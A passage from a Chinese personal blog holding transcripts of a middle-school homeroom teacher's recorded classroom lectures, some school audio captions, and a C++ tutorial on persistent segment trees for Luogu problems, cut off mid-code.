家长到了把娃儿接回去了之后（说）：“<班主任>，不让他讲话啥子，你就喊他（早上）五点钟起来跑步嘛”。我说：“这娃娃要是在你们屋头，你……你是不是天天今天早上五点钟喊他起来跑步嘛？”我问他。你看他给人家提要求他……他跑得飞快诶，“<班主任> 你早上五点钟喊他在操场跑步”。我说娃娃你接回去喽，你天天早上是不是五点钟起来跑步嘛，你监督他没有？你给人家提要求你说得呼啦呼夸大、不切实际嘞，你做个来给我看嘛。

（咳嗽声）

所以为啥子他娃儿没得契约精神，他出……他吐出口的口水都能喝的进去你跟他俩讲原则……对牛弹琴！

所以，对不起哈！针对我们班上部分同学，反正你最后半学期了，你要开始躁是不是？你觉得我是在收拾你没得关系，那就从现在开始 <班主任> 不收拾你喽，我们就按流程来、按章程办。对吧？大家都……都没有话说。我们一条一条来对，我看你才是怪哉。

最后（*进度条20%*），<班主任> 特别提醒：（咳嗽声）请，生活班长负责寝室区相关纪律事务的班委每个星期天返校、以及星期一分层作业根据不同分数段布置的不同作业，重要的事说三遍，听到没有？男生女生都说，每个寝室说，听到没有？

第二个，考题和学法分享总结：请你多斟酌哈！时间把握好，八分钟之内。第三：对于在教室头，我再次重申——吃完饭也好，你课间回来休息也好，讨论题，没有到（下午）六点半之前……原来我们是（下午）五点五十吃饭，要求（下午）六点二十五进教室；现在是（下午）六点钟才吃饭所以我们不再做六点二十的这个硬性要求，就六点半。你要讲题就外边讲，<班主任> 不干涉，但前提是要必须安静。（咳嗽声）

我……（移动MP3时录入的嘈杂声音）……我只教了十多年。我们不管是教了十多年的还是……（嘈杂的声音）……没得哪个说，家长管理他娃儿娃儿又考的撇差。我也没看过哪个家长反映他娃儿有好优秀……就像那天我和 <一位同学> 分享的一句话，只有当你把自己管得住的时候，你才去谈客观原因和外在原因——“事有不成，反求诸己”“行有不得，反求诸己”，请你铭记……<励志班长的名字>负责在班级传递正能量和在黑板上书写励志名言的班干部，今天就把这句话写在黑板上哈！“事有不成，反求诸己”哈，不会写的字下来找我，我来……我来告诉你。

装疯迷窍的有些同学，简直是……你不要跟我在这讲歪歪理哈，我没得（微信声）时间跟你讲歪歪理……（嘈杂声）……所以，再次强调，从明天开始，所有讲话的，我刚刚点到的那四位同学，每天个辅签到，（咳嗽声），定时守候、分享。都把名字加上。

第二，对于前面那一路、那些同学，我说喽，我们班上已经找不到你的、你的对手喽，请你把你的目标定高远一点，放到年级范围去看。第三，我这一次整人，不是不需要靶，是我要整改我们班所有的人，成绩区间稳定的……在这，冲刺就叫冲刺、不是躺平。

鱼龙混杂天天在这唱浮躁，我不知道你在这唱啥子。最后（*进度条 70%*），我的本意，没有想过哪个，到时候被（大意是分班后被分去烂班）……但是，我也不惧怕因为你非要住这而直升不了……你都可以拿你的一辈子来……跟学校的规章制度来赌。我这个……多你一个少你一个，好像对我来说，都是小事情。对你来说你都可以拿一辈子来赌，这赌的有好大的哦。你和学校的规章制度去赌去跟我没得关系，我执行……书记、记录员的规矩职责。我在这里再次提醒哈，凡是在这里耍朋友的、谈恋爱的，<班主任> 这不给你那么多面子谈。如果，家长给我反馈了我给你反馈了你不仅不收手你给我……不刹车。把你抖到学校这个层面上去，我估计，你的直升十有八九没得资格，你也玩完了。你现在不直升、明年不直升，要得嘛可以嘛。你明年直不直升，你明年直升了是不是这个事情就过了嘞？你个人想一哈。不怪……不怪我没提醒你哈，因为你（微信声×2）悠悠众口。他来给我找班主任说我想解决问题，当他觉得我解决解决得不够的时候，他就往上头走，往学校层面走。那投诉到你，倒过来问我噻，那对不起哦，我说我有嘞、所有嘞……（晚放学铃声）不要、不要把这些往外边说喽……我说喽，现在所有的层面都基于，我们是家丑，家丑我可不想外扬。有些人非要把这些事情抖出去……（铃声）……给政务、警官、高管，一起耍，坏了他人生，那几个高管，网上，点名就被……只有 <名字> 他儿 <名字>，坐了二十年牢……（嘈杂的声音）……所以你不要觉得你有哈子关系能关系人的，在规则面前……（嘈杂的声音）……我先说清楚哈！下课休息。

S5.mp3#

您的浏览器不支持 audio 标签，请下载音频。

还有……还有两个没出来……出来了你们要考虑的是，你这个……你这个第四名，和第一名平均分差多少分的问题。不要想到你曾经是第一名、不要想到你和十五班平起平坐。就正如，你觉得你的成绩取得和 <班主任> 没关系，那，这次的滑坡，又和我有什么关系？

如果你觉得，你妈妈要问你我们班耍朋友的是不是特别多。那首先要问：我们班其他同学耍朋友跟你有什么关系？你耍朋友没有？你的学习怎么样？

第四，你觉得你是我们班特别优秀的最优秀的，老子天下无敌~把你的分数拿去和人家的第一名第二名第三名比一比，你排老几？你的粉丝些，人家排前几，你在哪里？你跟着人家去玩，他怎么不带你飞呢？他考班级第一你怎么没考班级第二呀？人家耍的高兴人家是八班的第一，他怎么没带你考八班的第二呀？你是他的粉丝的嘛，你绝对拥护的嘛，你觉得他那样就是就是就是飒、就是帅……

人家 <一位同学> 生病了还没有……还没有来参考。按理来说你们班平均分，你的平均分不应该更高吗？人家都不来参考……你飞呀！你瞧不起的样子。少了一个人、少了一个女生你觉得：哦人家的数学不好的。你怎么不飞呢？人家怎么一样秒杀你呢？

（*回到正题*）老子问的是除了，举例子、作比较、列数字这三种说明方法以外，文本中还用了哪些说明方法。你在听吗？老子……老子鬼才信你！这节课剩下的时间，自主学习。你得行的很非常了不起，人家语文（成绩）还没出来，物理……物理就低了，语文你跟人家平起平坐……（班平）甩你个三四分都正常，你就看下你是怎么从班级的天花板落下来嘞，砸个半死嘞。你天天在这混日子，人家是毕业班冲的呼啦呼指热火朝天，你在这自我感觉良好。老子前脚说，桌子要捡干净；后脚爬起来就是一趟。你在听没有嘛？

你原来觉得人家 <一位同学> 数学不好，要拖你平均分喽。你在班上人家这个同学起来回答问题你笑麻死起形容夸张喽，带他一起去飞撒，你有脾气帮他一起把数学搞好噻。人家咋不来……人家因为生病没有来考试，你咋没去摸天花板嘞？你咋个还叫别人把你秒杀了嘞？简直是稀奇。管不住自己的娃儿，动不动就是我们班咋子，我们班抓天花板的时候他咋没打个电话来说诶 <班主任> 诶你们班这次考得好呦。他咋觉得是他自己娃儿努力了才得行，那按照这样子的推理，考撇差了也是自己状态不在。哪个再说八班管理咋样、你的家长在这这门那门的，赏他两句：你简直是个怪哉。

有些家长做个事情简直是……你的娃儿得行你喊他考噻，他咋个被别人秒杀的嘞？放回家去……是咋个做的嘛。回来咋个说都不得行，教给他他是啥样子嘛、回来是啥样子？你等他躁完就算了回学校你就收心了嘛，还在闹！人家十五班数学学高一的内容；二十二班英语平均分每个人都比你们高七分就哪怕你考 140，我相信他那里一定有考 147 的、你考 142 他们班一定有考 148.5 的；我们班语文（高分段）在哪里嘛，有好多嘛。你洋盘贬义，指出风头惨喽。那小卖部开了买酸奶你比哪个都跑得快、要交卷了你半天都交不上去，巴不得哪个给你看一下哪里还有两个空没写……做的都不是人事……你还有观点、你还有看法，你有啥子看法嘛，（心思）就是没在学习上……（摔打人用的塑胶棍）

我骂完了，（你）晓得这个成绩之后你咋不默哀嘞你考不过你不应该垂头丧气话都不想说咩？你闹pao（喷一堆口水）喽！上来上课都是读书声你嘞？蚊子声音；回答问题嘞？哦、啊。你是不是把它搞反了嘛？说的都是废话，破嘴……那我就要看看，我们班这回子的第一名在年级上（排名）哪儿哇，我看你洋盘的很，你还着不着急嘛？十名开外……你以为：哦我还是第一，井底之蛙。

下课（的时候），我要收语文书，要求检查这节课的自主学习笔记。（拿书声）第一，所有的说明方法，按照昨天的要求，不低于五处；第二，《大自然的语言》中，思考探究的后面……（*录音结束*）

S11.mp3#

您的浏览器不支持 audio 标签，请下载音频。

……桌面清空哈，今天锦江区在常规筛查中发现一系……一例阳性病例。所以相关的疫情防控工作已经按要求转发（到家长群），今天下午放假，明天是属于休息，但是一定、一定做好防护，不要乱走乱跑，好，这是第一个。

第二个不到人多的地方去聚集。好，因为……要……我们都知道，在常规的筛查报告中都会有相应的滞后性。现在锦江区正在（对）到过相关地点的……正在查时空伴随者，所以，估计很……如果回家以后你家长的健康码和行程码有明显的……有变化，一定几时告知，好这是第二个。

好（上面这些其实）全都是第一个事情……好，第二个事情。嗯，今天放学，因为我们天气比较大，额（*铃声*）所有的放学都在寝室、所有的放学都在寝室，就直接回寝室，家长在寝室等候大家，所以心里要有数哈。再到……特别是走读生，不要觉得啊我是走读的我爸爸妈妈啊……可能今天就住校吧如果他在寝室等你啊所以要特别提醒。这是第二个点。

第三个点，嗯，第一轮（*画外音：<一位同学>，什么时候放回寝室？*）展收环节模拟考试已结束，说实在话大家状态还是不够，发挥得不太好，对待物理的重视程度不够，还是显得有些轻飘。所以，我希望，我这里掌握着大家四科总成绩的排名，我们把政治和历史剔除了以后，有很大的变化。就有些同学，我我……我这里真的是很……真诚地奉劝不只是他下面可以不用来，坐在那里苦熬，确实也很辛苦。好第二个是走读生，建议这一轮中有个别同学带了电话手表，请你下一次及时上交。凡是所有的通信工具都应该及时上交，好通讯工具、电子设备是不能进校园的，这里我再次提醒。下一次我再发现，有此类似的情况，那将取消你假期托管的资格，好听清楚。好这是第二个点。

第三个点，嗯，待会（请）班长提醒我发这个成长报告册，很多同学请你如实地把这个……成长报告册拿回去（填写）因为你的家长反复在问你的学习成绩。其实我们在10号 <班主任> 当天下午就跟你说了这么长的时间，你应该去和你家长去主动联系一次，至少一次应该是没有什么问题的而且时间有这么大这么长比你平常要宽裕些，所以他很着急也很焦急，客观理性地分析你的成绩。好这是我要提醒的第三个点。

最最最最最最重要的我要强调：回去不要一不小心自己就成了时空伴随者，然后就告诉你22号的考试和你说 say goodbye。好，一定要牢记。最后一天……当然，如果你确实决定我伤得起，于是乎借口把（*没听清*），对不对？啊那全身疼，那没用。啊那我们在……请大家稍安勿躁哈还有十分钟，我们把这节课上完就放学。

S.mp3#

您的浏览器不支持 audio 标签，请下载音频。

（*录音开始*）……意见……

那请问，你选择的明明是你自己的事情，为什么让别的家长、让别的同学，觉得他受影响喽。你回答我噻……你回答我噻。这你就叫……浪费了占用了别个的公共空间你懂不懂？

就像我和 <同学X> 俩摆聊天，讨论学习，我们俩之间学习好不好是我们的事情；我和 <同学L> 俩好是我和 <同学L> 之间的事情……我不和你 <同学Y> 好然后我拼命在 <同学X> 的面前说 <同学Y> 做的如何如何不好。这样一个原因。对不对？肯定不对撒对不对？我选择你是因为我觉得我们两个之间有共同话题的原因喽，我都不愿意和 <同学Y> 摆那是我们两个……性格不对呗。但是我不能够把人家 <同学Y> 的不好拿（去）人家 <同学X> 的面前来摆噻。

这就叫占用公共空间，你用自己的好恶……来起诉同……其他同学。那相反的，你要和我俩耍朋友，你们俩耍嘛。我也见过我们屋的一个堂弟人家就是初中就就……耍朋友，那到大学咩，就结婚了嘞。我一点都不反对坏事，你是有这种情况，现在社会上啥子多样化。但是你要把这事情我和他耍朋友我俩又咋子又咋子又咋子，虽然别个都晓得，别个回去（*拍手声*）……你就要说完了就没得啥子人家家长回去之后人家就是这样子来（对我）说的嘛：“<班主任>，我也理解你，但是这样子……”这样那样的咋子嘛，对不对？你们两个耍朋友，有些人就（说）看人家他们都耍了三年了，这是初中、高中，他妈他老汉父亲也晓得他可以对那个女生多好。但是人家两个都考（上）大学喽。你看他们班上没觉得他们两个直牵眼睛招摇噻，这个你整倒了哈……

所以听清楚，我们班在学习目标上，你是当四十三分之一班级第一还是三分之一班级前十，是你的事情。

第二个，在做人上，请你，善言善行、谨言慎行。第三，你所有的个人事情，请不要占我们的公共空间。我不希望这样子再给家长打电话……受不了……<班主任> 是个自尊心非常强的人，我给你们说过：我那个事情在这……那件……那件事上在这绊到筋斗……只要给我一个机会，哪怕三年五年，我还要在原地站起来，这就是我。我希望我带的娃，他也能屈能伸、要有集体人格、不怕输输得起、学会去输也学会去赢，同时，做好自己。

我当了十多年的班主任喽，不长，比 <数学老师> 那（当班主任的时间）相比要短，但也不算短。我的职业生涯至少前进了一半段。我是第一次被人……被家长，当然人家是善意地在提醒我、善意地跟我在反馈这个情况，但是我是第一次哦，从来没哪个问我当过……当过啥子班主任，跟我说 <班主任> “班风有问题”，受不了，我真的受不了（*甩橡胶棍*）……哪里有感觉被家长这样子打脸的感觉？很不爽。但（因为）你们，我被打了两次脸：去年子助词无实意，因为上，直升班的课，开演示，被学校打了一次脸；这学期，被家长打了一次脸（*拍讲台*），当然，我相信，这仅是个别情况，但为什么那么多届学生……就像 <数学老师> 一样她每届带两个班，

我十五年，至少（带过）有五届、到六届（学生）嘛。每届，一百个人……有几百个人嘛，六百个人，这个几率六百分之一在你这就发现喽，还要好生好好思考诶，对不对？我们讲概率的……供君思考。

S4.mp3#

您的浏览器不支持 audio 标签，请下载音频。

（*录音开始*）……只是给你们其他的老师讲：“哎呀我那个初中班主任从来没管过我，都是……都得靠自己。”当你把这话说出去的时候，只要你有底气说，你看看你老师还要你吗？……我想，是聪明人，他会看见每一个人在每一个阶段对他的成长和发展……的付出。

你去摆……反正你成大才了你去摆：“我们那个初中班主任歪脾气暴的很、恶的很，就想把我们整死”你去摆嘛，你看人家是笑你还是笑我。

哦……2009年的有一个学生叫<L同学>，读的华西科技大学，本科毕业以后，他的导师要求他读硕……硕博连读，他说我要考虑一下，他说要这样子的话我要读到近三十岁，他说，是不是会读转行了，他就在考虑我是只读研究生还是只读硕博……那个，把博士一起读了。当时就问他，他说：“当你一路走来，你觉得，在你的成长阶段中、在……在你所有经历过、帮助……焦虑过你的老师中你印象最深刻的是谁？”他的回答是：“我每一个阶段的每一个老师都很重要。如果没有他们就没有现在的我。”后来他去导师那报道的时候，他的导师才告诉他，说：“专业你在我这不是最强的，但是你的格局很好……你是一个看得到别人对你付出感化、丁点你都能看得到的（学生），”他说，“所以，我愿意，当其他老师都还不太同意的情况下，我愿意推荐你去读……硕博连读……如果你愿意的话。”他说：“那你没有被老师批评过没有被人……老师收拾过吗？”他说：“我妈妈从小教给我：对我最狠的老师才是对我最好的老师。”他说：“那我这也很不好过哦，”那个老师告诉他，说“我这也很不好过呦……进来的门宽、出去的路窄哦。”这句话的意思就是告诉他：当然我的……出身很好进（进来的门）、一般很好进，但是至终、最终你能不能够毕业、顺利与否，不见（得）能，因为他也是学术上的钉子户，就是比较黏。所以，进去好进，他是出了门……出了在他们那是出了名的……这就不叫XXX了要求比较高，所以能够当他的研究生很容易但是能够顺利毕业的、不留级的不多。但是他带出来的学生都是很棒的，所以，他也给……给我的一位学生说，他说：“<班主任>我现在现在明白了，他回来又十多年以后我们学校还要……当年有一个奖学金他也是拿奖学金的……当时，当时说他初二的时候他应该给了一个班后了……当时是我们就去问过他还是咋的反正最后说的就是在……审查的时候，他又回来了，然后在那聊。”他就这样，一个男孩子，他当时说来的时候是我们班最小的就年龄最小的，就比同龄人可能要小一岁左右所以你看他，小一岁按理说他的年龄应该比较小的哈同龄人中，他硕博连读出来的话他应该是还不到三十但是他就在想要不要读到三十岁、要不要读到三十岁一个（主要是）太老了，他还会这样去想。我说你们独立读书时候好像比较少吧，就我认为他比较小因为他个子也小。他说是呀，他说但是要读那么久的书，还是需要依附于那个<班主任>。你再看看你们。

第五，地生课堂回顾复习的效率有待提高……好，第六，<W同学>对值日的班长清洁（工作）不满，有时候要说脏话，而且不止一个班委反馈这个情况……所以，在这进行制度的及时治调，好请你有最起码的尊重。同时，责令你在音乐课和<Y老师>协商讨论以后你才有决定的权利，首先要给<Y老师>道歉，你连续三周，连我守自习你都不自觉。我们先不说课堂上……提醒，那天星期四，音乐课上上自习的那几个同学，除非你征得<Y老师>的原谅（之后）你可以上音乐课；否则，她有权拒绝你，这周星期四，去上她的音乐课，你就回教室上自习。连最起码的尊重都没有……守着上自习你都还整些莫名堂莫名其妙的事，确实就不该了。所以，<W同学>适用的你们也同样适用，怎么处理，你要么呢写道歉信，让<Y老师>签字，允许你去、同意你去上音乐课；如果她不同意没有签字我没有拿到条子，你那天星期四的第五节课音乐课就在教室里上自习。

第七，关于行进安全。这里再次，特别强调……这周工作重点：常规安全，第一个是行进安全，好我们星期一早训的时候就说过不再赘述；第二，这（周考）成绩（*晃动成绩单*）好与不好……它都摆在那了，它都是你努力的结果。唯有不同，因为努力的程度不同、临场发挥不同、自我要求不同，你在和我躲猫猫，<班主任>来的时候是这个样子<班主任>不在的时候是这个样子。不要假装很努力，因为结果不会陪你演戏。这就是一个道理。

关于（男生）444寝室，刚刚已经说了不再说。第二个希望大家重视音乐和艺术课，因为它会纳入中考。好今年成都市因为作为试点城市，就是双减后的试点城市，所以就是说这个……所以请你引起重视。看现在你们能够听到星期天的时候广播里边……里面在说初三的体考如果有参加延时（课程）的……就是平时不认真上体育课到初三体育考试时候过不了关，需要单独加训的。所以请你现在认真上好每一节体育课，做好每一个体育（动作）……而且体育中考也在改革，原来是50分制你们这一届（初二）……现在初三已经是60分了。60分。所以不要到时候再措手不及，而且我不知道我在我们班说过没有：温江只有两所公立高中一个是二……温江中学；一个是温江三中。今年他们对外招生的名额是60个。这是我那天在班上说了有些同学你是……你的成绩……你的户口不是温江区的，好这是公立学校，温江公立学校的高中确实只有这两所。然后还有私项（私立），私项就是原来的一个七中实验现在叫莞城实验，这是第一所；第二所，诶他们好像说……额新世纪新世纪好像在起高中，好，那边高中和我们也差不多好像没有、还没有出考试……成都高考成绩。好……好像就只有这这这（几所高中）……然后再加上东辰（私立）。所以整体告知温江……温江的高中（升学）资源是非常有限的，而且他本身也有公立学校，有公立的直升的这部分娃，这叫……他们叫指标到校生，因为他们对外招生只有一百人。如果你进不了……你是，不管你是选择2+4的升2年初中+4年高中还是3+3的升3年初中+3年高中……如果你受不了，你到外边去，一定没有竞争力，这是第二个。

第三个，有些同学你不要觉得嗯你说我不想直升，我要出去考479，我很确定地告诉你：它不论怎么改革，479的门不好进。它哪怕，哪怕你是五城区的户口就5+2，从5+2加高新区……高新南区成都直管区加……高新南区……啊天府新区成都直管区加高新南区，高新区嘛加高新区，而且他是面向全成都市中心城区摇号，他还要留一部分四川省、成都市以外的地区市级高中名额来保证他生源指标。我……我可以很明确地告诉你：绵阳东辰同样能够考上……考上七中（林荫）的娃……进去，绵阳……绵阳东辰（的学生）考进去在里面发现自己不一定很好，然后……我这话的意思不是说绵阳东辰不好，而是想告诉你：成都七中他的要求很高。所以，请你有心理准备、不要好高骛远、自我感觉良好，最后空着来，到最后什么都没有。你连直升……如果你直升拿不到特等（奖学金），不太有希望，很确定地告诉你。除非你……。

第四，这里，值周班长，请你听清楚，值周班长听清楚，从这周开始，我们接下来要量化值周班长的具体职责。所以，今天要特别提醒，打扫卫……晚上打扫卫生，除了劳动班长以外，请值周班长一定要做这个事情：凡是私自玩一体机的，没有……最晚打扫卫生（晚上）九点三十二必须全部离场，没有离场的把名字记下来，听清楚哦。

好，第四，本周管理关键词——“清朗行动”加“计划”。今天……<L老师>告诉我我们的地生、地理背诵有十一个同学没有过关，他让我传达的意见是这十一个人不过关，如果在星期五上课的时候还过不了关，就请家长接回家去背地生，周末的延时暂时不给他……你连地生都整不好，上其他的课意义也不大，所以把地生的背诵完成任务情况纳入……周末延时托管考察的范围，听清楚，请自行找时间做好（背诵过关任务）。

最后，不管成绩怎样，它都摆在那了，你都要去接受，客观、冷静地去看待。最后，在这里，再次提醒，你要摆龙门阵闲聊的、你要讨论题的你们到外边去（讨论），进教室就必须安静。第二，学习不是你为谁学，而是我要把选择。非得要问（为了）谁，只能是自己。对于后面三个，我们班等所有成绩出来以后，我看你们有多么牛，有多么想要……不要过成绩要结果，那我们要约见你……的家长，就先请你，谈一次就一次谈两次就还是两次，搞些莫名堂的，不知道干啥。

这节课（晚自习）还剩十分钟，请你把各科作业拿出来（*桌椅书本声*）（*录音结束*）

ffydmmlbd.WAV#

您的浏览器不支持 audio 标签，请下载音频。

这是原八班的一个梗，具体起源无法考证。

REC220717172738.mp3#

您的浏览器不支持 audio 标签，请下载音频。

这段是上课实录而且杂音较多所以就不做字幕了，我估计应该没几个人会听她具体讲了些啥东西吧。

寝室合集#

REC220115071351.mp3#

您的浏览器不支持 audio 标签，请下载音频。

Warning

注意炸麦，建议调低音量食用！

万恶之源1.WAV#

您的浏览器不支持 audio 标签，请下载音频。

Warning

包含炸麦、高频电流杂音、尖锐爆鸣等社死内容，建议佩戴耳机食用！

这是我用新买的MP3录制的第一个音频，同时标志着成都东辰MP3半导体时代的开始。

万恶之源2.MP3#

您的浏览器不支持 audio 标签，请下载音频。

Warning

包含炸麦、高频电流杂音、尖锐爆鸣等社死内容，建议调低音量食用！

录下上面的万恶之源后，由于听感过于炸裂，将MP3的录制比特率上调并更改了录音格式后录制的更为炸裂的版本。

其他#

Hooop.WAV#

您的浏览器不支持 audio 标签，请下载音频。

这是八下第一学月成绩表彰上录制的音频，主要是二单元的拉胯宣誓。

（*第一段*）

……干嘛？

几点了？

（*第二段*）

（有请）L主任……

一单元一至七班这气势恢弘，底气彰显实力。但，二、三、四单元的同学们也绝非等闲之辈，你看！下面，让我们应二单元八至十四班的呼喊，有请L主任。

好，请班主任面向主席台。好，二单元的全体同学听口令，三二一，起立！向右看齐！向前看，稍息，立正……

勇士何在？

Hoooooop！

战鼓擂鸣，马蹄声催——

我们……我们二单元全体师生，向，一、三、四单元提出挑战！

我们要在礼仪常规、拼搏进程上超越你们！

狭路相逢——

勇者胜，Hooooooooop！

好，全体都有，sit down

哦吼……芜湖……Hoooooop……

好那么下边是……

ZYR.WAV#

您的浏览器不支持 audio 标签，请下载音频。

这是八下第一学月表彰时录制的音频，主要是四单元单元主任ZYR标志性的破音领誓。

春来，春雷隆隆、战果累累，前三个单元的同学们已向我们四单元二十二至二十八班发起了挑战……我们四单元同学在哪里？！（在这里）……请四单元全体师生起立！（破音了）。

好保持安静……请同学们大声地喊出我们单元的口号，喊出我们的气势，起——

不骄不躁，上下一心，心！

（中间真是啥也没听清）

……这不是藏头诗吧……不是藏头诗……这不是藏头诗

……丑陋……朋友之妻不可欺……

力拔头筹！力拔头筹！力拔头筹！

好，全体师生，请坐！

20220316-071709.WAV#

您的浏览器不支持 audio 标签，请下载音频。

这是某同学在2022年3月16日早上吃饭时自己复刻自己的一段经典演讲。

CNMB的东辰。

TMD诈骗集团

吃饭不给钱（廖哥：TMD诈骗集团），PC不给钱，TMDP霸王C

（*笑声*）

[熟肉] 一棵主席树新增了一个数据，这是它的结构发生的变化

Fri, 09 Aug 2024 00:55:42 GMT

标题及头图致敬油管兼B站UP主 Chubbyemu——一位非常专业的医学区博主。

可持久化简介#

可持久化数据结构，支持在保证操作不变的情况下、同时保存它的一个历史版本，以便后期的历史查询。一般的编辑器软件都会内置撤回/重做的功能，这时使用一个可持久化数据结构来存储用户的历史操作就显得非常便捷了；某些软件通过重演用户操作来实现撤回/重做功能：当用户操作较多时，会非常浪费系统资源、且效率极低，尤其是在进行连续撤回/重做时，体验感极差。

可持久化线段树/主席树理论基础#

对于一般的线段树，可以通过调用 modify 函数来进行单点插入，如果此时再加入一个要求——能够查询先前某一时刻的某一操作对应的区间最值，普通的线段树就无能为力了。比较直接的想法是：可以把每一次操作得到的线段树单独拎出来，然后对于每次询问，在对应的线段树里面跑即可。时间上过得了关，但显然这样太浪费空间——明明更改单点时只会影响到特定路径上的节点，为什么还要费劲把其他无关变量另外存下来呢？基于这个优化思路，可持久化线段树/主席树应运而生。

Tip

相关链接：可持久化线段树的发明者叫黄嘉泰，由于他和当时的国家领导人名字首字母缩写雷同，因而又叫主席树。

先来看看普通线段树的插入操作：

Insert#1

Insert#2

如果每次操作都要新建一整个线段树的话，那么插入五个元素的空间复杂度就有原先的五倍之多。注意到在插入操作进行时，只有红色标出的节点是受影响的，因此只需把红圈存下来而无需无效地复制那些黑色的节点。

按此理论，完成五次插入后的线段树应是下面这样（部分虚边为了美观未在图上连出）：

可以发现一个规律：副本树的连接关系与原树相同、且副本树中不连接副本节点方向上的的子树与原树对应节点的对应子树相同。但同时我们失去了一些东西——左右子树的下标再也不满足线段树中的二倍和二倍加一关系了。不过对历史记录的访问变得轻松——从右到左，分别是第一次到第五次的操作所复制出来的副本树，每个副本树都有一个根节点，代表当前的历史记录。对于询问，直接在对应根节点上查询即可。

可持久化线段树/主席树建树部分#

根据上述分析，在主席树中，把 l 和 r 变量变成节点左右子树的下标（或指针）。由于每次操作最坏会复制出一个节点数为的副本，次修改（插入节点）之后最多同时存在个节点，习惯性把空间开到倍，也就是左移位。此外维护一个数组 root 用来存储每个历史记录对应的根节点：

1
struct HJTTree {
2
    int l, r;
3
    int dat; // 值
4
} tree[N << 5];
5
int idx = 0, root[N];

根据特定要求添加变量即可。在建树时，不断向深层递归，并动态创建新点。因为上面提到的主席树不再满足普通线段树的下标规律，我们给建树函数设置返回值，递归设置左右子树的值即可。大部分代码和原版线段树相差无几。

1
int build(int l, int r) {
2
    int p = ++idx; // 开点
3
    if (l == r) {
4
        tree[p].dat = a[l];
5
        return p;
6
    }
7
    int mid = (l + r) >> 1;
8
    tree[p].l = build(l, mid); // 创建左子树
9
    tree[p].r = build(mid + 1, r); // 创建右子树
10
    return p;
11
}

可持久化线段树/主席树节点插入#

插入新节点时，我们需要先把沿途的所有节点复制一遍。节点复制写在一个函数 clone(int u) 中，顾名思义，这个操作非常简单——单纯就是原先点的复制、同时返回新建的副本节点的下标。

1
int clone(int u) {
2
    int p = ++idx; // 开点
3
    tree[p] = tree[u]; // 复制
4
    return p;
5
}

接下来是节点插入的主体部分。把节点复制完毕得到一个新点后，就需要递归更新所有点的左右子树，最终在叶子节点的位置放置要插入的点。

1
int insert(int u, int dat, int pos, int l, int r) {
2
    int p = clone(u); // 先复制
3
    if (l == r) {
4
        tree[p].dat = dat; // 叶子节点的位置插入
5
        return p;
6
    }
7
    // 找到插入位置，同时更新子树
8
    int mid = (l + r) >> 1;
9
    if (pos <= mid) tree[p].l = insert(tree[u].l, dat, pos, l, mid);
10
    else tree[p].r = insert(tree[u].r, dat, pos, mid + 1, r);
11
    return p;
12
}

节点和区间的查询和普通线段树是基本一样的。这里需要注意题目要求查询哪个历史操作的值，并从相应的根节点开始向下递归查找。

模板两题#

洛谷 P3919 [模板] 可持久化线段树 1（可持久化数组）#

题目地址：P3919

题目难度：提高+/省选-

如题，你需要维护这样的一个长度为的数组，支持如下几种操作

在某个历史版本上修改某一个位置上的值

访问某个历史版本上的某一位置的值

此外，每进行一次操作（对于操作2，即为生成一个完全一样的版本，不作任何改动），就会生成一个新的版本。版本编号即为当前操作的编号（从1开始编号，版本0表示初始状态数组）
输入格式：
输入的第一行包含两个正整数，分别表示数组的长度和操作的个数。
第二行包含个整数，依次为初始状态下数组各位的值（依次为，）。
接下来行每行包含3或4个整数，代表两种操作之一（为基于的历史版本号）：

对于操作1，格式为，即为在版本的基础上，将修改为。

对于操作2，格式为，即访问版本中的的值，注意：生成一样版本的对象应为 。

输出格式：
输出包含若干行，依次为每个操作2的结果。
数据范围：
对于 100% 的数据：

就是上边的模板，拿来用即可。

1
#include <bits/stdc++.h>
2
#define N 1000010
3
using namespace std;
4

5
struct HJTTree {
6
    int l, r;
7
    int dat;
8
} tree[N << 5];
9
int idx = 0, root[N];
10
int a[N];
11

12
int build(int l, int r) {
13
    int p = ++idx;
14
    if (l == r) {
15
        tree[p].dat = a[l];
16
        return p;
17
    }
18
    int mid = (l + r) >> 1;
19
    tree[p].l = build(l, mid);
20
    tree[p].r = build(mid + 1, r);
21
    return p;
22
}
23

24
int clone(int u) {
25
    int p = ++idx;
26
    tree[p] = tree[u];
27
    return p;
28
}
29

30
int insert(int u, int pos, int dat, int l, int r) {
31
    int p = clone(u);
32
    if (l == r) {
33
        tree[p].dat = dat;
34
        return p;
35
    }
36
    int mid = (l + r) >> 1;
37
    if (pos <= mid) tree[p].l = insert(tree[u].l, pos, dat, l, mid);
38
    else tree[p].r = insert(tree[u].r, pos, dat, mid + 1, r);
39
    return p;
40
}
41

42
int query(int idx, int pos, int l, int r) {
43
    if (l == r) return tree[idx].dat;
44
    int mid = (l + r) >> 1;
45
    if (pos <= mid) return query(tree[idx].l, pos, l, mid);
46
    return query(tree[idx].r, pos, mid + 1, r);
47
}
48

49
int main() {
50
    ios::sync_with_stdio(false);
51
    cin.tie(nullptr);
52
    cout.tie(nullptr);
53

54
    int n, m;
55
    cin >> n >> m;
56
    for (int i = 1; i <= n; i++) cin >> a[i];
57
    int tot = 0;
58
    root[0] = build(1, n);
59
    while (m--) {
60
        int ver, pos, op;
61
        cin >> ver >> op >> pos;
62
        if (op == 1) {
63
            int dat;
64
            cin >> dat;
65
            root[++tot] = insert(root[ver], pos, dat, 1, n);
66
        } else {
67
            cout << query(root[ver], pos, 1, n) << endl;
68
            root[++tot] = root[ver];
69
        }
70
    }
71
    return 0;
72
}

展开收起

洛谷 P3834 [模板] 可持久化线段树 2#

题目地址：P3834

题目难度：提高+/省选-

给定个整数构成的序列，将对于指定的闭区间查询其区间内的第小值。
输入格式：
第一行包含两个整数，分别表示序列的长度和查询的个数。第二行包含个整数，第个整数表示序列的第个元素。接下来行每行包含三个整数 , 表示查询区间内的第小值。
输出格式：
对于每次询问，输出一行一个整数表示答案。
数据范围：
对于的数据，满足，，，。

这才是可持久化线段树的标准应用。这道题有很多种做法，最经典的是可持久化线段树，此外还有归并树、划分树、树套树（线段树套平衡树）。

此时维护另外一个变量，代表值落在之间的数的个数。在递归过程中，查看和与的大小关系。如果，证明待查询数字在左区间内，递归到左区间；否则该数字在右区间，递归到右区间查找第大数即可。这类似于二叉搜索树的排名查询操作。

如果只考虑右区间，即查询内的第大数，我们可以限定主席树的起始查找下标实现查询。但是我们加入了左区间，变成了，就不好搞了。但是当我们按照链式插入（为每个点单独分配一个根节点和副本树）数据时，它满足一个可减性，这意味着我们可以用类似前缀和的方式来处理任意区间。那么此时的就可以用子树记录的减去子树的得到。

1
#include <bits/stdc++.h>
2
#define N 200010
3
using namespace std;
4

5
struct HJTTree {
6
